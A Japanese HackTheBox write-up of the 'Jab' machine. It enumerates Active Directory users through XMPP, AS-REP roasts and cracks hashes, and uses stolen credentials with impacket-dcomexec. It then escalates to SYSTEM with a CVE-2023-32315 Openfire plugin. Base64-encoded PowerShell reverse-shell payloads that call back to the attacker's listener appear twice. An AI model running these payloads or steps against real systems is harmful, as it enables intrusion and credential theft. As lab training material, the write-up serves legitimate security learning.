HackTheBox Jab WriteUp

今回はHackTheBoxのMediumマシン「Jab」のWriteUpです！
名前からはどのようなマシンなのかわかりませんね。楽しみです。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/f67101a5-ee60-af99-0b24-066112e0f2b4.png)

グラフはいつものMediumという感じです。
評価は高めで、かなりいいマシンな予感がします。攻略目指して頑張ります！

HackTheBoxって何？という方は下記の記事を見てみてください！一緒にハッキングしましょう〜！

https://qiita.com/WhizOwl/items/165783694cb4791cff34

また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください！

https://qiita.com/Perplex/items/30f949fe261f56af7476


## Jab

### 列挙

それでは攻略を開始しましょう。
まずは```nmap```を実行していきます。

```bash
+[~/jab]
(σ▰>∇<)σ<10.10.14.8>$ sudo nmap -Pn -v -n -sV -p- --min-rate=1000 10.10.11.4 
...
PORT      STATE SERVICE             VERSION
53/tcp    open  domain              Simple DNS Plus
88/tcp    open  kerberos-sec        Microsoft Windows Kerberos (server time: 2024-07-15 16:01:58Z)
135/tcp   open  msrpc               Microsoft Windows RPC
139/tcp   open  netbios-ssn         Microsoft Windows netbios-ssn
389/tcp   open  ldap                Microsoft Windows Active Directory LDAP (Domain: jab.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http          Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap            Microsoft Windows Active Directory LDAP (Domain: jab.htb0., Site: Default-First-Site-Name)
3268/tcp  open  ldap                Microsoft Windows Active Directory LDAP (Domain: jab.htb0., Site: Default-First-Site-Name)
3269/tcp  open  ssl/ldap            Microsoft Windows Active Directory LDAP (Domain: jab.htb0., Site: Default-First-Site-Name)
5222/tcp  open  jabber              Ignite Realtime Openfire Jabber server 3.10.0 or later
5223/tcp  open  ssl/jabber          Ignite Realtime Openfire Jabber server 3.10.0 or later
5262/tcp  open  jabber
5263/tcp  open  ssl/jabber          Ignite Realtime Openfire Jabber server 3.10.0 or later
5269/tcp  open  xmpp                Wildfire XMPP Client
5270/tcp  open  ssl/xmpp            Wildfire XMPP Client
5275/tcp  open  jabber              Ignite Realtime Openfire Jabber server 3.10.0 or later
5276/tcp  open  ssl/jabber          Ignite Realtime Openfire Jabber server 3.10.0 or later
5985/tcp  open  http                Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
7070/tcp  open  realserver?
7443/tcp  open  ssl/oracleas-https?
7777/tcp  open  socks5              (No authentication; connection not allowed by ruleset)
9389/tcp  open  mc-nmf              .NET Message Framing
47001/tcp open  http                Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49664/tcp open  msrpc               Microsoft Windows RPC
49665/tcp open  msrpc               Microsoft Windows RPC
49666/tcp open  msrpc               Microsoft Windows RPC
49667/tcp open  msrpc               Microsoft Windows RPC
49673/tcp open  msrpc               Microsoft Windows RPC
49690/tcp open  ncacn_http          Microsoft Windows RPC over HTTP 1.0
49691/tcp open  msrpc               Microsoft Windows RPC
49692/tcp open  msrpc               Microsoft Windows RPC
49697/tcp open  msrpc               Microsoft Windows RPC
49770/tcp open  msrpc               Microsoft Windows RPC
```

Windowsらしくかなりのポートが開いていますね。
LDAPの情報から、今回はADのドメインコントローラがターゲットのようです。
とりあえずSMBからチェックしましょう。

```bash
+[~/jab]
(σ▰>∇<)σ<10.10.14.8>$ crackmapexec smb 10.10.11.4 -u '' -p '' --shares
SMB         10.10.11.4      445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:jab.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.4      445    DC01             [+] jab.htb\: 
SMB         10.10.11.4      445    DC01             [-] Error enumerating shares: STATUS_ACCESS_DENIED
```

共有にはアクセスできないようです。
DNSやLDAPで列挙を行ってみましたが、気になる情報は見つかりませんでした。

### XMPP

他に列挙する対象がないかを見たとき、XMPP関連のポートが気になりました。

```bash
5269/tcp  open  xmpp                Wildfire XMPP Client
5270/tcp  open  ssl/xmpp            Wildfire XMPP Client
```

HackTheBoxではかなり珍しいポートなので、なおさら気になります。

:::note info
XMPPは、メッセージとプレゼンス情報をリアルタイムに交換するために、XML要素をストリーミングするためのプロトコルです。オープンな制定プロセスであることやプロトコル自身を拡張可能であることが特長
:::

```pidgin```を使用して接続可能なので、試してみましょう。```pidgin```は```apt install```でインストール可能です。

```bash
+[~/jab]
(σ▰>∇<)σ<10.10.14.8>$ pidgin
```

実行すると、```pidgin```のポップアップが表示されます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/26a979eb-7b9b-526d-7520-9c0de2613b89.png)

上記はアカウントが登録できる画面なので、「+ Add」を押下し、登録していきましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/092f3f1d-cf2e-ce46-a7ef-37571b9abf31.png)

プロトコルやユーザ名を入力できる画面が表示されます。プロトコルには「MXPP」を指定してください。そのほかは適当に入力し、「+ Add」を押下します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/93b9aad2-c7d1-4a13-8677-8bdaa32393ba.png)

押下すると、証明書を許可するかどうか聞かれるので、「Accept」を押下します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/7cbcb0ed-7958-2f1e-14ce-10921af6aa06.png)

再度、登録画面が表示されるので情報を入力し「OK」を押下します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/5a1e3007-3e65-6eac-bfbf-c5db6593390b.png)

登録に成功したというメッセージが表示されました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/377c55e9-b388-d22b-a9e2-b70f9442f9aa.png)

アカウントリストから先ほど作成したアカウントを選択すると、Buddy List（左側）でAvailableと表示されていることがわかります。

登録できたことにより、XMPPを使用して列挙ができるようになったので、探索しているとユーザを検索できそうな機能を発見しました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/c18794e0-e9e2-878a-e7e7-d32f91a8ff57.png)

ユーザを取得できると、ASREPRoastingやKerberoastingを試みることができます。「Search for Users」を押下してみましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/fa449cd9-7022-2962-1dc5-473ee445a30f.png)

ユーザディレクトリを入力する画面が表示されますが、最初から```search.jab.htb```と入力されているため、特に変更せずそのまま進みます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/65da0252-1f80-025f-3443-93259cddc6c3.png)

検索でどのような値を出力させるのか選択できる画面が表示されます。アスタリスク（```*```）を入力して「OK」を押下しましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/8a865b8b-40fb-c454-3ffa-4a05adfac191.png)

大量のユーザが出力されました。ユーザを確認できましたが、コピーできる形で出力されない限りASREPRoastingやKerberoastingでは使いにくいので、そのような機能がないか調べました。すると、以下のサイトを見つけました。

https://xmpp.org/extensions/xep-0055.html

サイトによると、XMPPコンソールを使用すると、検索クエリの結果をXML形式で出力させることができるようです。コンソールを使用するには、プラグインからXMPPコンソールを有効にする必要があります。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/f3fcbd57-4855-6d52-763e-5d27273d0d24.png)

有効へ変更後、XMPPコンソールを起動しましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/bb2b3a9e-a12d-1f36-781c-27a716450222.png)

起動できました。
では、先ほどのサイトを参考にしてユーザをXML形式で出力させましょう。実行するクエリは以下の通りです。

```xml
<iq type='set' 
    from='perplex@jab.htb'
    to='search.jab.htb'
    id='users'
    xml:lang='en'>
	<query xmlns='jabber:iq:search'>
        <last>*</last>
	</query>
</iq>
```

上記のクエリを入力し、実行すると...

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/7f2933a1-8e9a-5e88-56c3-2d0a3cd69cba.png)

XML形式でユーザが出力されました！これをすべてコピーし、ユーザリストとして使用できる形に整形しましょう。

```bash
+[~/jab]
(σ▰>∇<)σ<10.10.14.11>$ cat users.xml | grep jid | grep -oP "(?<=jid=')[^']+" > users.txt
```

### ASREPRoasting

では、ユーザリストが作成できたので、ASREPRoastingを実行しましょう。

```bash
+[~/jab]
(σ▰>∇<)σ<10.10.14.11>$ impacket-GetNPUsers jab.htb/ -dc-ip dc01.jab.htb -usersfile users.txt -outputfile asrep.txt -format hashcat
```

実行が終了すると、3人のユーザのハッシュがテキストに出力されていることがわかります。

```bash
+[~/jab]
(σ▰>∇<)σ<10.10.14.11>$ cat asrep.txt                                                    
$krb5asrep$23$jmontgomery@jab.htb@JAB.HTB:7c839787f3faf76bb94a9494389374e1$3debd5299a5ec90c033d8bcc4fdbe665c1e5a8c9af963acadc1da3fe86ad49c1f8b00d86b0a144fb04942f032b779e6a2211f449ebfd4e82aab155e3c15e56a40caac07fb7309a9353c40c49d710ea758629546e90af051ba9b5032a6b1836193651a04b2f792400c40ccd936089860ad9246e3c2d85a52af4cf39ce1e53434f9be663e1cff119b7a682303e0629b5fec7703b4eac1680e594d63fd108faf75b546620994b40836dc3f508d240b8b7edd331f38539bfb32dc7a945fea9f02bd6398c6064c4b482f8bb686c7422fe2ae520dd88465c99babe59b32b698b064ea08374
$krb5asrep$23$lbradford@jab.htb@JAB.HTB:a312bb3aee2b69770ec2ede5e3aa1aa9$e2645d3fd9cabf9f10656cffca5df118718c2862dfb8a3b053d962b7d19305edd0dbe94433579b2486898fbc664177ef40f6d3b28e9c5fb8f2e6ebf059f81e9ee5aa3b79482cd1c557008a980474b4f2400deab6cacc2a78fc33373a9a23422a6d43a0fe2e3d4f1b273f9b54f59d142e7faa744e06a2fa8692b0b6b6bed2ae41199aff5711c2f72223261151191c25f13237d7c702668b1c5990d1a3eb2c5ad3d59832fda7d5186736850d3a92d93aec018a43f56a174b04fbb883d2e245b0ee9b25751c4daf177cd243247e016f0d85ce8bcafa1bd6dcb2532321e859e6b8bb3b5c
$krb5asrep$23$mlowe@jab.htb@JAB.HTB:566471f12e740ea622633c3ea7b3e6bc$61d8b842f9f333e0a8477ad759c2027329fb15d6969b6e6e1f4c6e9d510fda724368e930b32b13832aeed3f0bb44595cf846e7c34eb1522e74d8032dbb98ee9a3f2f80162ba27bbdde377674896d47fe5133f532da8c6f7c5a6fbee883a40c96e5c55ba19577de986358a9844625b883380662e8adadf2ef9178dd63ed95d39bcbddc184b22cba060b5e62716a6e8e987fbcdb8d7011d1626b39910a8495a3a6932ccc9291c5e5861b128ebd89f6c437ab64d322684dd74ef16171093def01378d2b509bb7e4808e08e687c8f62508f0463d3f0f29562c994795cef7355e0724a134
```

```hashcat```を実行し、ハッシュが解読できるか試してみましょう。

```bash
+[~/jab]
(σ▰>∇<)σ<10.10.14.11>$ hashcat asrep.txt /usr/share/wordlists/rockyou.txt 

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

$krb5asrep$23$jmontgomery@jab.htb@JAB.HTB:7c839787f3faf76bb94a9494389374e1$3debd5299a5ec90c033d8bcc4fdbe665c1e5a8c9af963acadc1da3fe86ad49c1f8b00d86b0a144fb04942f032b779e6a2211f449ebfd4e82aab155e3c15e56a40caac07fb7309a9353c40c49d710ea758629546e90af051ba9b5032a6b1836193651a04b2f792400c40ccd936089860ad9246e3c2d85a52af4cf39ce1e53434f9be663e1cff119b7a682303e0629b5fec7703b4eac1680e594d63fd108faf75b546620994b40836dc3f508d240b8b7edd331f38539bfb32dc7a945fea9f02bd6398c6064c4b482f8bb686c7422fe2ae520dd88465c99babe59b32b698b064ea08374:Midnight_121
Approaching final keyspace - workload adjusted.           

Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)
Hash.Target......: asrep.txt
```

```jmontgomery```のハッシュを解読することができました。
パスワードを取得できたので、認証情報を使用し様々なサービスを列挙します。まずはSMBを確認します。

```bash
+[~/jab]
(σ▰>∇<)σ<10.10.14.11>$ crackmapexec smb jab.htb -u jmontgomery -p 'Midnight_121'
SMB         jab.htb         445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:jab.htb) (signing:True) (SMBv1:False)
SMB         jab.htb         445    DC01             [+] jab.htb\jmontgomery:Midnight_121 
```

認証に成功しています。共有を見てみましょう。

```bash
+[~/jab]
(σ▰>∇<)σ<10.10.14.11>$ crackmapexec smb jab.htb -u jmontgomery -p 'Midnight_121' --shares
SMB         jab.htb         445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:jab.htb) (signing:True) (SMBv1:False)
SMB         jab.htb         445    DC01             [+] jab.htb\jmontgomery:Midnight_121 
SMB         jab.htb         445    DC01             [+] Enumerated shares
SMB         jab.htb         445    DC01             Share           Permissions     Remark
SMB         jab.htb         445    DC01             -----           -----------     ------
SMB         jab.htb         445    DC01             ADMIN$                          Remote Admin
SMB         jab.htb         445    DC01             C$                              Default share
SMB         jab.htb         445    DC01             IPC$            READ            Remote IPC
SMB         jab.htb         445    DC01             NETLOGON        READ            Logon server share 
SMB         jab.htb         445    DC01             SYSVOL          READ            Logon server share 
```

特にめぼしいものはありません。次にWinRMを確認してみましょう。

```bash
+[~/jab]
(σ▰>∇<)σ<10.10.14.11>$ crackmapexec winrm jab.htb -u jmontgomery -p 'Midnight_121'    
SMB         jab.htb         5985   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:jab.htb)
HTTP        jab.htb         5985   DC01             [*] http://jab.htb:5985/wsman
WINRM       jab.htb         5985   DC01             [-] jab.htb\jmontgomery:Midnight_121
```

WinRMは使用できないようです。
他に認証を試すことができるか少し悩みましたが、列挙が終わったと思っていたXMPPでも認証があることを思い出しました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/83e359f0-82e0-8e0a-bc01-fc21430687ba.png)

ユーザを登録したときと同じように```jmontgomery```ユーザの認証情報を入力し、「+ Add」を押下しましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/7cd4233e-4272-dbea-9fa1-4fbce724f3d5.png)

ユーザが追加されました。
追加後、新たな情報が得られないか機能を見ていると、ルームを検索する機能があることに気が付きました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/328b71e5-2572-3413-1be3-0424abb7cc88.png)

一見、ルームが存在していないようにも見えますが、「Get List」を押下してみます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/87b3a257-601c-da37-71cb-89f2889e6c2d.png)

いくつかのルームが表示されました！```test```と```test2```には特に有用な情報は残っていなかったので```pentest2003```を見てみます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/a53c5f6f-5fb0-c729-a737-e89ce3f1019c.png)

過去に実施されたペネトレーションテストのレポートが表示されました。また、その中に```svc_openfire```のハッシュとその解析結果が含まれています。解読の結果パスワードが平文で見えているので、この認証情報が機能するか試してみましょう。

```bash
+[~/jab]
(σ▰>∇<)σ<10.10.14.11>$ crackmapexec smb jab.htb -u svc_openfire -p '!@#$%^&*(1qazxsw'
SMB         jab.htb         445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:jab.htb) (signing:True) (SMBv1:False)
SMB         jab.htb         445    DC01             [+] jab.htb\svc_openfire:!@#$%^&*(1qazxsw
```

SMBで機能しました！WinRMはどうでしょうか。

```bash
+[~/jab]
(σ▰>∇<)σ<10.10.14.11>$ crackmapexec winrm jab.htb -u svc_openfire -p '!@#$%^&*(1qazxsw'
SMB         jab.htb         5985   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:jab.htb)
HTTP        jab.htb         5985   DC01             [*] http://jab.htb:5985/wsman
WINRM       jab.htb         5985   DC01             [-] jab.htb\svc_openfire:!@#$%^&*(1qazxsw
```

やはりWinRMはダメみたいですね。

### ExecuteDCOM

他に認証情報を持っていてできることとして```bloodhound```を実行するという手があります。```svc_openfire```は名前からしてサービスアカウントであり、高い権限を持っている可能性があるので実行する価値は十分あると思います。

```bash
+[~/jab]
(σ▰>∇<)σ<10.10.14.11>$ /home/kali/.local/bin/bloodhound-python -d jab.htb -c all -u svc_openfire -p '!@#$%^&*(1qazxsw' -ns 10.10.11.4 --zip -dc 10.10.11.4
```

実行できたら、zipファイルを```bloodhound```に食わせて悪用できそうな権限がないか確認しましょう。
確認したところ```svc_openfire```は```dc01.jab.htb```に対して```ExecuteDCOM```権限があることがわかりました。

## svc_openfire としてのシェル

```ExecuteDCOM```権限があればシェルを取得できるので、シェルを取得していきましょう。
まずは待ち受けを作成します。

```bash
+[/opt]
(σ▰>∇<)σ<10.10.14.11>$ rlwrap nc -lnvp 2121                
listening on [any] 2121 ...
```

これで準備万端です。```impacket-dcomexec```を実行しましょう。

```bash
+[/opt]
(σ▰>∇<)σ<10.10.14.11>$ impacket-dcomexec -object MMC20 jab.htb/svc_openfire:'!@#$%^&*(1qazxsw'@10.10.11.4 'powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMQAxACIALAAyADEAMgAxACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==' -silentcommand
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
```

うまくいってそうです。待ち受けを確認しましょう。

```bash
+[/opt]
(σ▰>∇<)σ<10.10.14.11>$ rlwrap nc -lnvp 2121                
listening on [any] 2121 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.11.4] 52232
PS C:\windows\system32> whoami
jab\svc_openfire
```

やっと初期侵入に成功しました！

```
PS C:\Users\svc_openfire\Desktop> dir

    Directory: C:\Users\svc_openfire\Desktop

Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
-ar---         9/3/2024   6:55 AM             34 user.txt     
```

ユーザフラグも取得できました。

### 垂直権限昇格

それではここから権限昇格を目指していきます。
権限は確認していて権限昇格に繋がりそうなものはなかったので、サービスを調べます。

```
PS C:\Program Files> dir

    Directory: C:\Program Files

Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
d-----       10/23/2023  12:12 PM                Common Files                                                          
d-----         1/8/2024  10:58 AM                internet explorer                                                     
d-----       10/23/2023   1:00 PM                Java                                                                  
d-----         2/1/2024   7:55 AM                Mozilla Firefox                                                       
d-----         2/1/2024   8:32 AM                Openfire                                                              
d-----       10/23/2023  12:12 PM                VMware                                                                
d-----         1/8/2024  10:58 AM                Windows Defender                                                      
d-----         1/8/2024  10:58 AM                Windows Defender Advanced Threat Protection                           
d-----         1/8/2024  10:58 AM                Windows Mail                                                          
d-----         1/8/2024  10:58 AM                Windows Media Player                                                  
d-----        9/15/2018   3:19 AM                Windows Multimedia Platform                                           
d-----        9/15/2018   3:28 AM                windows nt                                                            
d-----         1/8/2024  10:58 AM                Windows Photo Viewer                                                  
d-----        9/15/2018   3:19 AM                Windows Portable Devices                                              
d-----        9/15/2018   3:19 AM                Windows Security                                                      
d-----        9/15/2018   3:19 AM                WindowsPowerShell               
```

多くはWindowsでよく見るサービスですが、その中に一つ```Openfire```だけ異色なものとして存在していますね。アカウント名からして権限昇格のターゲットは```Openfire```のような気がします。フォルダを掘っていくと```openfire.xml```というファイルがあるので確認します。

```
PS C:\Program Files\Openfire\conf> type openfire.xml
<?xml version="1.0" encoding="UTF-8"?>
...
<!-- root element, all properties must be under this element -->
<jive> 
  <adminConsole> 
    <!-- Disable either port by setting the value to -1 -->  
    <port>9090</port>  
    <securePort>9091</securePort>  
    <interface>127.0.0.1</interface> 
  </adminConsole>  
  <locale>en</locale>  
...
```

サーバが使用しているポートが記入されています。ローカルで動いているようなので```chisel```を使用する必要がありますね。```wget```を使用して転送しましょう。

```
PS C:\Users\svc_openfire\Downloads> wget 10.10.14.11:8021/chisel.exe -outfile chisel.exe
```

転送できたら実行しましょう。

```
-- kali
+[~/jab]
(σ▰>∇<)σ<10.10.14.11>$ /opt/too1s-l1nux/chisel server -p 9999 --reverse

-- target
PS C:\Users\svc_openfire\Downloads> ./chisel.exe client 10.10.14.11:9999 R:9090:localhost:9090
```

これでKali側からもアクセスが可能になりました。
ブラウザで9090番にアクセスしましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/4f860dbf-5a56-479d-3472-5f2e58bb0774.png)

ログイン画面が表示されました。```svc_openfire```の認証情報を使用してログインしましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/5777df3b-1e29-cab1-d703-c2bc28ad4768.png)

ログインに成功しました！

### CVE-2023-32315

ログイン後のダッシュボードには```Openfire```のバージョンが表示されており、「4.7.5」であることがわかります。脆弱性がないか確認したところ以下のサイトを発見しました。

https://github.com/miko550/CVE-2023-32315

どうやら認証バイパスからプラグインを使用したRCEの脆弱性が存在するようです。今回はすでにログインしているので認証バイパスは必要ないですが、プラグインを使用したRCEは権限昇格につながるかもしれないので、試す価値は十分あります。READMEに実行手順も載っているので、参考にして実行しましょう。まずは```clone```します。

```bash
+[~/jab]
(σ▰>∇<)σ<10.10.14.11>$ git clone https://github.com/miko550/CVE-2023-32315.git
```

プラグインがダウンロードできたので、アップロードします。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/0102e288-2669-46b2-604d-796811f00172.png)

アップロードに成功しました。サーバ設定から管理ツールへアクセスします。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/c2ca2ff0-d0c2-047f-5155-773848e63302.png)

このページで「123」を入力し、ログインしましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/c539cd8d-6f45-9eaa-23e1-b063ca283e81.png)

最初は「Program home page」が表示されています。ドロップダウンから「system command」を選択すると...

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/e644a567-bb23-f500-efe4-e4725d92e298.png)

コマンドを実行することのできる画面が表示されました。
試しに```whoami```を実行してみましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/47ac4075-c9e1-5fef-6755-0c4a73e4327f.png)

```system```権限で実行されています！

## system としてのシェル

それではシェルを取得しましょう。まずは待ち受けを用意します。

```bash
+[~/jab]
(σ▰>∇<)σ<10.10.14.11>$ rlwrap nc -lnvp 2122                
listening on [any] 2122 ...
```

これで準備は完了です。コマンドを実行しましょう。使用するコマンドは以下です。

```
c:\Windows\System32\cmd.exe /c powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMQAxACIALAAyADEAMgAyACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==
```

コマンドを入力し、「Execute」を押下しましょう。待ち受けを確認すると...

```
+[~/jab]
(σ▰>∇<)σ<10.10.14.11>$ rlwrap nc -lnvp 2122                
listening on [any] 2122 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.11.4] 53094
PS C:\Program Files\Openfire\bin> whoami
nt authority\system
```

権限昇格達成です！

```
PS C:\Users\Administrator\Desktop> dir

    Directory: C:\Users\Administrator\Desktop

Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
-ar---         9/3/2024   6:55 AM             34 root.txt  
```

ルートフラグも取得でき、完全攻略達成です！